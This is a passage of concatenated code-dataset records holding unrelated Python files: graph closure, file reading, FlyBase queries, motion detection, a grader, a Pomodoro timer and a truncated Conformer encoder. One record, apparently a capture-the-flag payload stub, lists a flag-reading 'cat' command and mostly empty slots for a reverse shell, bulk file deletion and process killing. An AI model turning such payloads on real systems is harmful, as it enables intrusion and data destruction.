hexagon[hexagon_iter_index]\n                else:\n                    # Stay at current hexagon half-edge\n                    pass\n\n                assert (hexagon_iter_index < 13)\n\n                if hexagon_iter.node_nr is not hexagon[0].node_nr:\n                    visited_more = True\n\n                if visited_more and id(hexagon_iter) == id(hexagon[0]):\n                    connecting_half_edge.add_to_closure(current_half_edge,\n                                                        True, fresh_half_edge)\n                else:\n                    hexagon_iter.add_to_closure(current_half_edge,\n                                                True, fresh_half_edge)\n                distance = 0\n            else:\n                current_half_edge = current_half_edge.opposite\n                distance += 1\n\n        return hexagon[0]\n\n    def _construct_hexagon(self, hexagon_half_edges, partial_closure_edge):\n        \"\"\"Constructs a hexagon from a list of half_edges.\"\"\"\n        color = partial_closure_edge.color\n        if color is 'white':\n            inv_color = 'black'\n        else:\n            inv_color = 'white'\n\n        # Indicate that they belong to the hexagon\n        for i in range(12):\n            hexagon_half_edges[i].is_hexagonal = True\n\n        # Set opposite edges\n        it = 0\n        while it < 11:\n            hexagon_half_edges[it].opposite = hexagon_half_edges[it + 1]\n            hexagon_half_edges[it + 1].opposite = hexagon_half_edges[it]\n            it += 2\n\n        # Set next and prior half-edges. Here prior and next are the same\n        it = 1\n        while it < 12:\n            hexagon_half_edges[it].next = hexagon_half_edges[(it + 1) % 12]\n            hexagon_half_edges[it].prior = hexagon_half_edges[(it + 1) % 12]\n            hexagon_half_edges[(it + 1) % 12].next = hexagon_half_edges[it]\n            hexagon_half_edges[(it + 1) % 12].prior = hexagon_half_edges[it]\n            it += 2\n\n        # Set node number.\n        current_half_edge = hexagon_half_edges[11]\n        while True:\n            node_num = next(counter)\n            current_half_edge.node_nr = node_num\n            current_half_edge.next.node_nr = node_num\n            current_half_edge = current_half_edge.next.opposite\n            if current_half_edge is hexagon_half_edges[11]:\n                break\n\n        if hexagon_half_edges[0].node_nr % 2 == 0:\n            # Then all even nodes have to have the inverse color\n            even_color = inv_color\n            odd_color = color\n        else:\n            even_color = color\n            odd_color = inv_color\n\n        # Set color\n        for i in range(12):\n            if hexagon_half_edges[i].node_nr % 2 == 0:\n                hexagon_half_edges[i].color = even_color\n            else:\n                hexagon_half_edges[i].color = odd_color\n\n        return hexagon_half_edges[0]\n\n    def closure(self, binary_tree):\n        \"\"\"Implements the bijection between binary trees and irreducible\n        dissections of a hexagon.The partial closure takes a binary tree\n        as input and closes the tree, such that every face in the\n        resulting graph has degree four. Afterwards, the complete closure\n        is performed, where the partially closed binary tree is integrated\n        into a hexagon (irreducible dissection of hexagon).\n        \"\"\"\n        init_half_edge = binary_tree.half_edge\n        # This edge is hexagonal and points in ccw direction.\n        init_half_edge = self._bicolored_complete_closure(init_half_edge)\n        return IrreducibleDissection(init_half_edge)\n","sub_path":"planar_graph_sampler/bijections/closure.py","file_name":"closure.py","file_ext":"py","file_size_in_byte":8640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"237594153","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nsys_payload_array = {\n'test1' : 'whoami',\n'test2' : 'ipconfig',\n'test3' : 'dir',\n\"get_flag\" : 'cat /home/ctf/flag;', #获取flag\n\"duplicate_shell\" : 'cp ;' ,        #复制shell到所有目录下\n\"kill_process\" : ';' ,              #杀掉进程\n\"reverse_shell\" : ';'  ,            #反弹shell\n\"rm_file\" : ';'   ,                 #文件批量删除\n\"daemon_process\" : ';'   ,          #进程守护\n\n }\n","sub_path":"package/1b40ada26c6056ce4aedef5505add47a/sys_payload.py","file_name":"sys_payload.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"137905078","text":"#Leer un archivos con try-except\n\ndef leer_archivos(filename):\n\n    \"\"\"Lee un archivo e imprime su contenido\"\"\"\n    try:\n        with open(filename) as file_obj:\n                content = file_obj.read()\n    except FileNotFoundError:\n            print(\"Lo siento, el archivo no se encuentra!\")\n    else:\n        print(content.rstrip())\n\n#Programa principal\narchivos = ['cats.txt','dogs.txt','rabbits.txt'] #lista de archivos\ni = 1\nfor archivo in archivos:\n    print(\"Archivo \" + str(i) + \":\")\n    leer_archivos(archivo)\n    i += 1\n","sub_path":"PractTryExcept/cats_dogs.py","file_name":"cats_dogs.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"315455771","text":"from .fb_tools import FB2Neo\n\ndef expand_stage_range(nc, start, end):\n    \"\"\"nc = neo4j_connect object\n    start = start stage (short_form_id string)\n    end = end stage (short_form_id string)\n    Returns list of intermediate stages.\n    \"\"\"\n    stages = [start, end]\n    statements = [\n        'MATCH p=shortestPath((s:FBDV {short_form:\"%s\"})<-[:immediately_preceded_by*]-\" \\\n        \"(e:FBDV {short_form:\"%s\"})) RETURN extract(x IN nodes(p) | x.short_form)' % (start, end)]\n    r = nc.commit_list(statements)\n    stages.append(r[0]['data'][0]['row'][0])\n    return stages\n\nclass ExpressionWriter(FB2Neo):\n\n    def get_all_expression(self, limit=False):\n        query = 'SELECT c.name as cvt, db.name as cvt_db, dbx.accession as cvt_acc, ec.rank as ec_rank, ' \\\n                't1.name as ec_type, ectp.value as ectp_value, ' \\\n                't2.name as ectp_name, ectp.rank as ectp_rank, ' \\\n                'e.uniquename as fbex ' \\\n                'FROM expression_cvterm ec ' \\\n                'JOIN expression e on ec.expression_id=e.expression_id ' \\\n                'LEFT OUTER JOIN expression_cvtermprop ectp on ec.expression_cvterm_id=ectp.expression_cvterm_id  ' \\\n                'JOIN cvterm c on ec.cvterm_id=c.cvterm_id  ' \\\n                'JOIN dbxref dbx ON (dbx.dbxref_id = c.dbxref_id) ' \\\n                'JOIN db ON (dbx.db_id=db.db_id) ' \\\n                'JOIN cvterm t1 on ec.cvterm_type_id=t1.cvterm_id  ' \\\n                'LEFT OUTER JOIN cvterm t2 on ectp.type_id=t2.cvterm_id'\n\n        if limit:\n            query += \" limit %d\" % limit\n\n#         cvt         |      cvt_db      |                cvt_acc                 | ec_rank | ec_type | ectp_value | ectp_name | ectp_rank |    fbex\n# --------------------+------------------+----------------------------------------+---------+---------+------------+-----------+-----------+-------------\n#  embryonic stage 4  | FBdv             | 00005306                               |       0 | stage   |            |           |           | FBex0000001\n#  immunolocalization | FlyBase_internal | experimental assays:immunolocalization |       0 | assay   |            |           |           | FBex0000001\n#  organism           | FBbt             | 00000001                               |       0 | anatomy |            |           |           | FBex0000001\n#  70-100% egg length | FBcv             | 0000132                                |       1 | anatomy |            | qualifier |         0 | FBex0000001\n#  embryonic stage 4  | FBdv             | 00005306                               |       0 | stage   |            |           |           | FBex0000002\n#  immunolocalization | FlyBase_internal | experimental assays:immunolocalization |       0 | assay   |            |           |           | FBex0000002\n#  organism           | FBbt             | 00000001                               |       0 | anatomy |            |           |           | FBex0000002\n#  90-100% egg length | FBcv             | 0000139                                |       1 | anatomy |            | qualifier |         0 | FBex0000002\n#  embryonic stage 1  | FBdv             | 00005291                               |       0 | stage   | FROM       | operator  |         0 | FBex0000003\n#  embryonic stage 5  | FBdv             | 00005311                               |       1 | stage   | TO         | operator  |         0 | FBex0000003\n\n        exp = self.query_fb(query)\n\n        # make dict keyed on FBex : TAP-like structure\n        FBex_lookup = {}\n\n        for d in exp:\n            FBex_lookup[d['fbex']] = {}\n            FBex_lookup[d['fbex']][d['ec_type']] = {}\n            if 'stage' in d['ec_type']:\n                FBex_lookup[d['fbex']][d['ec_type']][d['ectp_value']] = {}\n                FBex_lookup[d['fbex']][d['ec_type']][d['ectp_value']].update(\n                        {\"short_form\": d['cvt_db'] + '_' + d['cvf_acc'],\n                         \"label\": d['cvt'], 'rank1': d['ec_rank'],\n                         'rank2': d['ectp_rank']})\n            elif 'anatomy' in d['ec_type']:\n                if 'qualifier' in d['ectp_name']:\n                    FBex_lookup[d['fbex']][d['ec_type']][d['ectp_name']] = {}\n                    FBex_lookup[d['fbex']][d['ec_type']].update(\n                                {'short_form': d['cvt_db'] + '_' + d['cvf_acc'],\n                                 'label': d['cvt'],\n                                 'rank1': d['ec_rank'],\n                                 'rank2': d['ectp_rank']})\n                else:\n                    FBex_lookup[d['fbex']][d['ec_type']].update(\n                                {'short_form': d['cvt_db'] + '_' + d['cvf_acc'],\n                                 'label': d['cvt'],\n                                 'rank1': d['ec_rank']})\n            elif 'assay' in d['ec_type']:\n                FBex_lookup[d['fbex']][d['ec_type']].update(\n                                {'short_form': d['cvt_db'] + '_' + d['cvf_acc'],\n                                 'label': d['cvt'],\n                                 'rank1': d['ec_rank']})\n\n        self.FBex_lookup = FBex_lookup\n\n    def write_expression(self, pub, expression_pattern, FBex):\n\n\n        # Phase 1 Generate intermediate (stage restricted) anatomy nodes\n        # Phase 2\n\n\n\n        ### Where do the different lines get merged?  Do we make a intermediate data structure, or do it all in cypher?\n        ### Given that these are already sorted on FBex, couldn't this be done within the loop structure?\n\n        ### Schema for EP\n        # https://github.com/VirtualFlyBrain/VFB_neo4j/issues/2\n        # (as:Class:Anatomy { \"label\" :  'lateral horn  - from S-x to S-y', short_form : 'FBex...', assay: ''})\n        # (as)-[SubClassOf]->(:Anatomy { label:  'lateral horn', short_form: \"FBbt_....\" })\n        # (as)-[during]->(sr:stage { label: 'stage x to y'} )\n        # (sr)-[start]->(:stage { label: 'stage x', short_form: 'FBdv_12345678' }\n        # (sr)-[end]->(:stage { label: 'stage y', short_form: 'FBdv_22345678' }\n\n\n\n\n        return","sub_path":"src/uk/ac/ebi/vfb/neo4j/flybase2neo/expression_tools.py","file_name":"expression_tools.py","file_ext":"py","file_size_in_byte":6040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"239124226","text":"import numpy as np\nimport cv2\nimport time\n\ntotal_time = 0\ncount = 0\nORB_time = [0]\n\n\n#cap = cv2.VideoCapture('1.mp4')\ncap = cv2.VideoCapture('11.MOV')\n#cap = cv2.VideoCapture('Video_008.avi')\n#cap = cv2.VideoCapture('vtest.avi')\n\nkp_number = 200\n#threshold to erase low motion zones\nthreshold = 50\n#amount of iterations to make countours more thin before thresholding\nerode_iterations1 = 2\n#amount of iterations to make countours more thin after thresholding\nerode_iterations2 = 2\n#amount of iterations to make countours more thick after thresholding\ndilate_iterations = 10\n#size of matrix for blur\nblur_size = 45\n#maximal Hamming distance between objects (0-256)\ndist_threshold = 20\n#max amount of good key points after RANSAC (if more, will be chosen best of them)\nmax_good_kp = 10\n\n#Share of image that object can occupy (object size limitations)\n#max_obj_height = 0.1\n#min_obj_height = 0.005\n#max_obj_width = 0.1\n#min_obj_width = 0.005\n\n#Uncomment if no limitations\nmax_obj_height = 1\nmin_obj_height = 0\nmax_obj_width = 1\nmin_obj_width = 0\n\nBS = cv2.createBackgroundSubtractorMOG2()\norb = cv2.ORB_create(nfeatures = kp_number)\nbf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n#try to find countours (objects) on the frame. If found, additional get key points of that object\ndef frame_processing(frame):\n    #remove colour and blur image before BS for better results\n    frame_diff = frame.copy()\n    frame_diff = cv2.cvtColor(frame_diff, cv2.COLOR_BGR2GRAY)\n    frame_diff = cv2.GaussianBlur(frame_diff, (blur_size, blur_size), 0)\n    #get difference between frame and background model\n    frame_diff = BS.apply(frame_diff)\n\n    #make countours more thin to erase dots (noice)\n    frame_diff = cv2.erode(frame_diff, None, iterations=erode_iterations1)\n    #threshold to erase low motion zones\n    frame_diff = cv2.threshold(frame_diff, threshold, 255, cv2.THRESH_BINARY)[1]\n    frame_diff = cv2.erode(frame_diff, None, iterations=erode_iterations2)\n    #make countours more thick\n    frame_diff = cv2.dilate(frame_diff, None, iterations=dilate_iterations)\n\n    #get frame size for counting object size limitations\n    frame_height, frame_width, _ = frame.shape\n    #list of countours satisfy limitations\n    cnts_valid = []\n\n    #get countours using difference image\n    (_, cnts, _) = cv2.findContours(frame_diff, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n    #get 5 largest countours\n    cnts = sorted(cnts, key = cv2.contourArea, reverse = True)[:5]\n\n    #check if each countour satisfy object size limitations. If so, add to other valid countours\n    for cnt in cnts:\n        (x, y, w, h) = cv2.boundingRect(cnt)\n        if w < frame_width*max_obj_width and w > frame_width*min_obj_width and h < frame_height*max_obj_height and h > frame_height*min_obj_height:\n            cnts_valid.append(cnt)\n    #get largest valid countour and find key points belong to it\n    if cnts_valid:\n\n        start_time = time.time()\n\n        ###!!!!!SHOULD BE CHOSEN FROM DATABASE!!!!!#####\n        kp = orb.detect(frame)\n        kp, kp_des = orb.compute(frame, kp)\n\n        end_time = time.time()\n        ORB_time[0] = start_time - end_time\n\n        cnt = cnts_valid[0]\n        mask = []\n        for key_point in kp:\n            mask.append(cv2.pointPolygonTest(cnt, key_point.pt, measureDist = False))\n        mask = (np.array(mask) == 1)\n        kp = np.array(kp)\n        kp_obj = kp[mask]\n        kp_des_obj = kp_des[mask]\n        cnt = cv2.boundingRect(cnt)\n        return(cnt, kp_obj, kp_des_obj)\n    else:\n        return([], False, False)\n\n#check if a countour is a object in motion\ndef object_check(cnt_curr, cnt_last, kp_curr, kp_last, kp_des_curr, kp_des_last):\n    #get contour parameters\n    (x, y, w, h) = cnt_curr\n    #if there is object on the previous frame\n    if cnt_last:\n        #if key points of \"objects\" are found on each image, check \"objects\" similarity.\n        if (len(kp_curr) > 0) and (len(kp_last) > 0):\n            same_object = similarity_kp_check(kp_curr,kp_last,kp_des_curr,kp_des_last)\n        #if there are no key points found, pass that phase\n        else:\n            same_object = True\n        #if objects are the same, there is object's motion\n        if same_object:\n            #renew values\n            return(same_object, cnt_curr, kp_curr, kp_des_curr)\n        #if objects are not the same, there are no motion\n        else:\n            return(False, False, False, False)\n    #if there are no objects on the previous frame, we should check next frame.\n    else:\n        #renew values\n        return(False, cnt_curr, kp_curr, kp_des_curr)\n\n#check if objects are the same using key points\ndef similarity_kp_check(kp1,kp2,des1,des2):\n    #indicator show if objects are the same\n    Same_object = False\n    #get matches\n    matches = bf.match(des1,des2)\n\n    #RANSAC need minimum 4 matches\n    if len(matches) >= 4:\n        #RANSAC check\n        src_pts = np.float32([ kp1[m.queryIdx].pt for m in matches ]).reshape(-1,1,2)\n        dst_pts = np.float32([ kp2[m.trainIdx].pt for m in matches ]).reshape(-1,1,2)\n        M, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0)\n        #get matches that RANSAC approved\n        mask = (mask.reshape(1,-1))[0] == 1\n        good_matches = np.array(matches)[mask]\n\n        #if RANSAC approved some matches\n        if len(good_matches) > 0:\n            #take only best part of matches that RANSAC found\n            if len(good_matches) > max_good_kp:\n                good_matches = sorted(good_matches, key = lambda x:x.distance)[:max_good_kp]\n            #calculate average Hamming distance\n            avg_dist = 0\n            for match in good_matches:\n                avg_dist += match.distance\n            avg_dist /= len(good_matches)\n            #check is it less than threshold\n            if avg_dist < dist_threshold:\n                return(True)\n            else:\n                return(False)\n        #if approved no matches, objects are not the same\n        else:\n            return(False)\n    #less than 4 matches, but not empty. Then just check them\n    elif (len(matches) < 4) and (len(matches) > 0):\n        #calculate average Hamming distance\n        avg_dist = 0      \n        for match in matches:\n            avg_dist += match.distance\n        avg_dist /= len(matches)\n        #check is it less than threshold\n        if avg_dist < dist_threshold:\n            return(True)\n        else:\n            return(False)\n    #if 0 matches found, objects are not the same\n    else:\n        return(False)\n\n\n#contour (\"object\") on the previous frame, it's key points and it's descriptors\ncnt_last = False\nkp_last = False\nkp_des_last = False\n#show if there are motion on the current frame\nobject_motion = False\nwhile(1):\n    start = time.time()\n    #get next frame\n    ret, frame_curr = cap.read()\n    if not ret:\n        break\n    count += 1\n\n    #try to find contours (objects) on the frame. If found, additional get key points of that object\n    (cnt_curr, kp_curr, kp_des_curr) = frame_processing(frame_curr)\n    #if contour found, check if it is an object\n    if len(cnt_curr) > 0:\n        (object_motion, cnt_last, kp_last, kp_des_last) = object_check(cnt_curr, cnt_last, kp_curr, kp_last, kp_des_curr, kp_des_last)\n    else:\n        object_motion = False\n\n    stop = time.time()\n    sec = stop - start - ORB_time[0]\n    total_time += sec\n\n    if object_motion:\n        ##!!!!!!!!!!!!!## This is just for check results ##!!!!!!!!!!!!!##\n        (x, y, w, h) = cnt_curr\n        cv2.rectangle(frame_curr, (x, y), (x + w, y + h), (0, 255, 0), 2)\n        if len(kp_curr) > 0:\n            frame_curr = cv2.drawKeypoints(frame_curr, kp_curr, 0, color=(0,0,255), flags=0)\n\n    cv2.imshow('frame', frame_curr)\n\n    k = cv2.waitKey(10) & 0xff\n    if k == 27:\n        break\n\n\ntotal_time = total_time / count\nprint(total_time)","sub_path":"old_scripts/Motion/motion_kp.py","file_name":"motion_kp.py","file_ext":"py","file_size_in_byte":7818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"548316171","text":"def open_file(answer_file, test_file):\n    answer_text = str(answer_file, 'utf-8')\n    test_text = str(test_file, 'utf-8')\n    answer = file_to_list(answer_text)\n    test = file_to_list(test_text)\n    return compare_answer(answer, test)\n\n\ndef file_to_list(text):\n    lists = text.split('\\n')\n    if lists[-1] == '':\n        lists.pop()\n    return lists\n\n\ndef compare_answer(answer_list, test_list):\n    count = 0\n    for i in range(len(answer_list)):\n        if answer_list[i] == test_list[i]:\n            count += 1\n    mark = round(count/len(answer_list)*100) // 20\n    return mark\n\n\n","sub_path":"testing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"49111988","text":"#pomodora basically means tomato in italian.\n#This technique uses a timer to break down work into intervals separated by short breaks.\n\nimport tkinter as tk\nfrom tkinter import *\nimport time\nimport math\nfrom tkinter import ttk\n# from win10toast import ToastNotifier\nfrom plyer import notification\n\n# toast = ToastNotifier()\n\nwindow=tk.Tk()\nwindow.title(\"Pomodoro\")\nwindow.config(padx=100,pady=50,bg=\"gold\")\nwindow.resizable(width=False,height=False)\nwindow.iconbitmap(\"tomato.ico\")\n\n#Combobox\ntime_entry=ttk.Combobox(width=45,state='readonly')\ntime_entry['values']=(\"20\",\"25\",\"30\",\"40\",\"50\",\"55\",\"60\",\"70\",\"75\",\"80\",\"85\",\"90\")\ntime_entry.current(1)\ntime_entry.grid(row=0,column=1,columnspan=2,pady=2)\n\n# ---------------------------- CONSTANTS ------------------------------- #\n\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\n# WORK_MIN = int(time_entry.get())\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\nreps=0\ntimer=None\n\n#IN CANVAS WE USE \"itemconfig()\" to make change in canvas unlike just \"config()\" like in label.\n\ndef notifyMe(title,message):\n    notification.notify(\n        title=title,\n        message=message,\n        app_icon=\"tomato.ico\",\n        timeout=20 # time for the notification\n    )\n\n# ---------------------------- TIMER RESET ------------------------------- # \n\ndef reset_timer():\n    global reps\n    \"\"\"Helps to rest timer back to Zero(0).\"\"\"\n    window.after_cancel(timer) #stops the timer there only.\n    canvas.itemconfig(timer_text,text=\"00:00\")\n    text_label.config(text=\"Timer\",fg=GREEN)\n    tick_label.config(text=\"\")\n    reps=0 \n\n# ---------------------------- TIMER MECHANISM ------------------------------- # \n\ndef start_timer():\n    \"\"\"Helps to start the timer.\"\"\"\n    WORK_MIN = int(time_entry.get())\n    global reps\n    reps+=1\n\n    work_sec=WORK_MIN*60\n    short_break_sec=round(SHORT_BREAK_MIN*60,0)\n    long_break_sec=LONG_BREAK_MIN*60\n\n    if reps%8==0:\n        count_down(long_break_sec)  #get hold of seconds\n        text_label.config(text=\"Break\",fg=RED)\n        # toast.show_toast(\"Pomodoro\",\"It's your break time.\",duration=20,icon_path=\"tomato.ico\")\n        notifyMe(\"Pomodoro\",\"It's your long break time.Now you can relax!!\")\n\n    elif reps%2==0:\n        count_down(short_break_sec)\n        text_label.config(text=\"Break\",fg=PINK)\n        notifyMe(\"Pomodoro\",\"It's your short break time.\")\n        \n    elif reps==1:\n        count_down(work_sec)\n        text_label.config(text=\"Work\",fg=GREEN)\n        notifyMe(\"Pomodoro\",\"You can start your work now.\")\n\n    else:\n        count_down(work_sec)\n        text_label.config(text=\"Work\",fg=GREEN)\n        notifyMe(\"Pomodoro\",\"Now it's time to work again.\")\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- #\n\ndef count_down(count):\n    \"\"\"Helps in managing timer.\"\"\"\n    global reps\n\n    count_min= math.floor(count/60)\n    count_sec=count%60\n\n    if len(str(count_sec))<2:   #Dynamic Typing i.e. if we assign a variable with an int value and we can also dynamically change the datatype of the variable.\n        count_sec=\"0\"+str(count_sec)\n    \n    if len(str(count_min))<2:   #Dynamic Typing i.e. if we assign a variable with an int value and we can also dynamically change the datatype of the variable.\n        count_min=\"0\"+str(count_min)\n\n    canvas.itemconfig(timer_text,text=f\"{count_min}:{count_sec}\")\n\n    if count>0:  #so that count value didn't get to below 0.\n        global timer\n        timer=window.after(1000,count_down, count-1)\n    else:  #count=0\n        start_timer()\n        marks=\"\"\n        # work_sessions=math.floor(reps/2)\n        # for _ in range (work_sessions):\n        #     marks+=\"✔\"\n        # tick_label[\"text\"]=marks\n        for _ in range (int(reps/2)):\n            marks+=\"✔\"\n        tick_label[\"text\"]=marks\n\n\n# ---------------------------- UI SETUP ------------------------------- #\n\n# window=tk.Tk()\n# window.title(\"Pomodoro\")\n# window.config(padx=100,pady=50,bg=\"gold\")\n\n\n# #Combobox\n# time_entry=ttk.Combobox(width=45,state='readonly')\n# time_entry['values']=(\"25\",\"30\",\"40\",\"50\")\n# time_entry.current(1)\n# time_entry.grid(row=0,column=1,columnspan=2,pady=2)\n\n#Canvas\ncanvas=Canvas(width=200,height=224,bg=\"gold\",highlightthickness=0)\ntomato_img=PhotoImage(file=\"tomato.png\")\ncanvas.create_image(100,112,image=tomato_img)\ntimer_text=canvas.create_text(100,130,text=\"00:00\",fill=\"white\",font=(FONT_NAME,35,\"bold\"))\ncanvas.grid(row=2,column=1)\n# count_down(5)\n\n\n#Labels\ntext_label=tk.Label(text=\"Timer\", font=(FONT_NAME, 50,\"bold\"),fg=GREEN,bg=\"gold\")\ntext_label.grid(row=1,column=1)\n\ntick_label=tk.Label(font=(\"Arial\", 20 ,\"bold\"),fg=GREEN,bg=\"gold\")\ntick_label.grid(row=4,column=1)\n\nwork_label=tk.Label(font=(\"Arial\", 10 ,\"bold\"),fg=\"purple4\",bg=\"gold\",text=\"Set Work Time: \")\nwork_label.grid(row=0,column=0,padx=2)\n\n\n#Buttons\nstart_button=tk.Button(text=\"Start\",command=start_timer,bg=\"magenta\",fg=\"blue4\")\nstart_button.grid(row=3,column=0)\n\nreset_button=tk.Button(text=\"Reset\",command=reset_timer,bg=\"magenta\",fg=\"blue4\")\nreset_button.grid(row=3,column=2)\n\n\nwindow.mainloop()","sub_path":"Pomodora/pomodoro.py","file_name":"pomodoro.py","file_ext":"py","file_size_in_byte":5090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"316583306","text":"# Copyright 2020 Tomoki Hayashi\n#  Apache 2.0  (http://www.apache.org/licenses/LICENSE-2.0)\n\n\"\"\"Conformer encoder definition.\"\"\"\n\nfrom typing import Optional\nfrom typing import Tuple\n\nimport torch\n\nfrom typeguard import check_argument_types\n\nfrom espnet.nets.pytorch_backend.nets_utils import get_activation\nfrom espnet.nets.pytorch_backend.nets_utils import make_pad_mask\nfrom espnet.nets.pytorch_backend.transformer.layer_norm import LayerNorm\nfrom espnet.nets.pytorch_backend.transformer.multi_layer_conv import Conv1dLinear\nfrom espnet.nets.pytorch_backend.transformer.multi_layer_conv import MultiLayeredConv1d\nfrom espnet.nets.pytorch_backend.transformer.positionwise_feed_forward import (\n    PositionwiseFeedForward,  # noqa: H301\n)\nfrom espnet.nets.pytorch_backend.transformer.repeat import repeat\nfrom espnet2.asr.encoder.abs_encoder import AbsEncoder\nfrom espnet2.asr.streaming_u2.encoder_layer import EncoderLayer\nfrom espnet2.asr.streaming_u2.attention import MultiHeadedAttention\nfrom espnet2.asr.streaming_u2.attention import RelPositionMultiHeadedAttention\nfrom espnet2.asr.streaming_u2.convolution import ConvolutionModule\nfrom espnet2.asr.streaming_u2.subsampling import Conv2dSubsampling4\nfrom espnet2.asr.streaming_u2.embedding import PositionalEncoding\nfrom espnet2.asr.streaming_u2.embedding import RelPositionalEncoding\nfrom espnet2.asr.streaming_u2.mask import add_optional_chunk_mask\n\n\n\nclass ConformerStreamingU2Encoder(AbsEncoder):\n    \"\"\"Conformer encoder module.\n\n    Args:\n        input_size (int): Input dimension.\n        output_size (int): Dimention of attention.\n        attention_heads (int): The number of heads of multi head attention.\n        linear_units (int): The number of units of position-wise feed forward.\n        num_blocks (int): The number of decoder blocks.\n        dropout_rate (float): Dropout rate.\n        attention_dropout_rate (float): Dropout rate in attention.\n        positional_dropout_rate (float): Dropout rate after adding positional encoding.\n        input_layer (Union[str, torch.nn.Module]): Input layer type.\n        normalize_before (bool): Whether to use layer_norm before the first block.\n        concat_after (bool): Whether to concat attention layer's input and output.\n            If True, additional linear will be applied.\n            i.e. x -> x + linear(concat(x, att(x)))\n            If False, no additional linear will be applied. i.e. x -> x + att(x)\n        positionwise_layer_type (str): \"linear\", \"conv1d\", or \"conv1d-linear\".\n        positionwise_conv_kernel_size (int): Kernel size of positionwise conv1d layer.\n        encoder_pos_enc_layer_type (str): Encoder positional encoding layer type.\n        encoder_attn_layer_type (str): Encoder attention layer type.\n        activation_type (str): Encoder activation function type.\n        macaron_style (bool): Whether to use macaron style for positionwise layer.\n        use_cnn_module (bool): Whether to use convolution module.\n        cnn_module_kernel (int): Kernerl size of convolution module.\n        padding_idx (int): Padding idx for input_layer=embed.\n\n    \"\"\"\n\n    def __init__(\n        self,\n        input_size: int,\n        output_size: int = 256,\n        attention_heads: int = 4,\n        linear_units: int = 2048,\n        num_blocks: int = 6,\n        dropout_rate: float = 0.1,\n        positional_dropout_rate: float = 0.1,\n        attention_dropout_rate: float = 0.0,\n        input_layer: str = \"conv2d\",\n        normalize_before: bool = True,\n        concat_after: bool = False,\n        positionwise_layer_type: str = \"linear\",\n        positionwise_conv_kernel_size: int = 3,\n        macaron_style: bool = False,\n        pos_enc_layer_type: str = \"rel_pos\",\n        selfattention_layer_type: str = \"rel_selfattn\",\n        activation_type: str = \"swish\",\n        use_cnn_module: bool = True,\n        cnn_module_kernel: int = 31,\n        padding_idx: int = -1,\n        causal: bool = True,\n        cnn_module_norm: str = \"batch_norm\",\n        static_chunk_size: int = 0,\n        use_dynamic_chunk: bool = False,\n        use_dynamic_left_chunk: bool = False,\n        decoding: bool = False,\n        simulate_streaming: bool = False,\n    \n    ):\n        assert check_argument_types()\n        super().__init__()\n        self._output_size = output_size\n\n        activation = get_activation(activation_type)\n        if pos_enc_layer_type == \"abs_pos\":\n            pos_enc_class = PositionalEncoding\n        elif pos_enc_layer_type == \"rel_pos\":\n            assert selfattention_layer_type == \"rel_selfattn\" \n            pos_enc_class = RelPositionalEncoding\n        else:\n            raise ValueError(\"unknown pos_enc_layer: \" + pos_enc_layer_type)\n\n        self.embed = Conv2dSubsampling4(\n                input_size,\n                output_size,\n                dropout_rate,\n                pos_enc_class(output_size, positional_dropout_rate),\n        )\n\n        self.normalize_before = normalize_before\n\n        positionwise_layer = PositionwiseFeedForward\n        positionwise_layer_args = (\n                output_size,\n                linear_units,\n                dropout_rate,\n                activation,\n        )\n\n        if selfattention_layer_type == \"selfattn\":\n            encoder_selfattn_layer = MultiHeadedAttention\n            encoder_selfattn_layer_args = (\n                attention_heads,\n                output_size,\n                attention_dropout_rate,\n            )\n        elif selfattention_layer_type == \"rel_selfattn\":\n            assert pos_enc_layer_type == \"rel_pos\"\n            encoder_selfattn_layer = RelPositionMultiHeadedAttention\n            encoder_selfattn_layer_args = (\n                attention_heads,\n                output_size,\n                attention_dropout_rate,\n            )\n        else:\n            raise ValueError(\"unknown encoder_attn_layer: \" + selfattention_layer_type)\n\n        convolution_layer = ConvolutionModule\n        convolution_layer_args = (output_size, cnn_module_kernel, activation, cnn_module_norm, causal)\n\n        self.encoders = repeat(\n            num_blocks,\n            lambda lnum: EncoderLayer(\n                output_size,\n                encoder_selfattn_layer(*encoder_selfattn_layer_args),\n                positionwise_layer(*positionwise_layer_args),\n                positionwise_layer(*positionwise_layer_args) if macaron_style else None,\n                convolution_layer(*convolution_layer_args) if use_cnn_module else None,\n                dropout_rate,\n                normalize_before,\n                concat_after,\n            ),\n        )\n        if self.normalize_before:\n            self.after_norm = LayerNorm(output_size)\n\n        # streaming related\n        self.use_dynamic_chunk = use_dynamic_chunk\n        self.use_dynamic_left_chunk = use_dynamic_left_chunk\n        self.static_chunk_size = static_chunk_size\n        self.decoding = decoding\n        self.simulate_streaming = simulate_streaming\n\n    def output_size(self) -> int:\n        return self._output_size\n\n    def forward(\n        self,\n        xs_pad: torch.Tensor,\n        ilens: torch.Tensor,\n        prev_states: torch.Tensor = None) -> Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]]:\n        \"\"\"Calculate forward propagation.\n\n        Args:\n            xs_pad (torch.Tensor): Input tensor (#batch, L, input_size).\n            ilens (torch.Tensor): Input length (#batch).\n            prev_states (torch.Tensor): Not to be used now.\n\n        Returns:\n            torch.Tensor: Output tensor (#batch, L, output_size).\n            torch.Tensor: Output length (#batch).\n            torch.Tensor: Not to be used now.\n\n        \"\"\"\n        masks = (~make_pad_mask(ilens)[:, 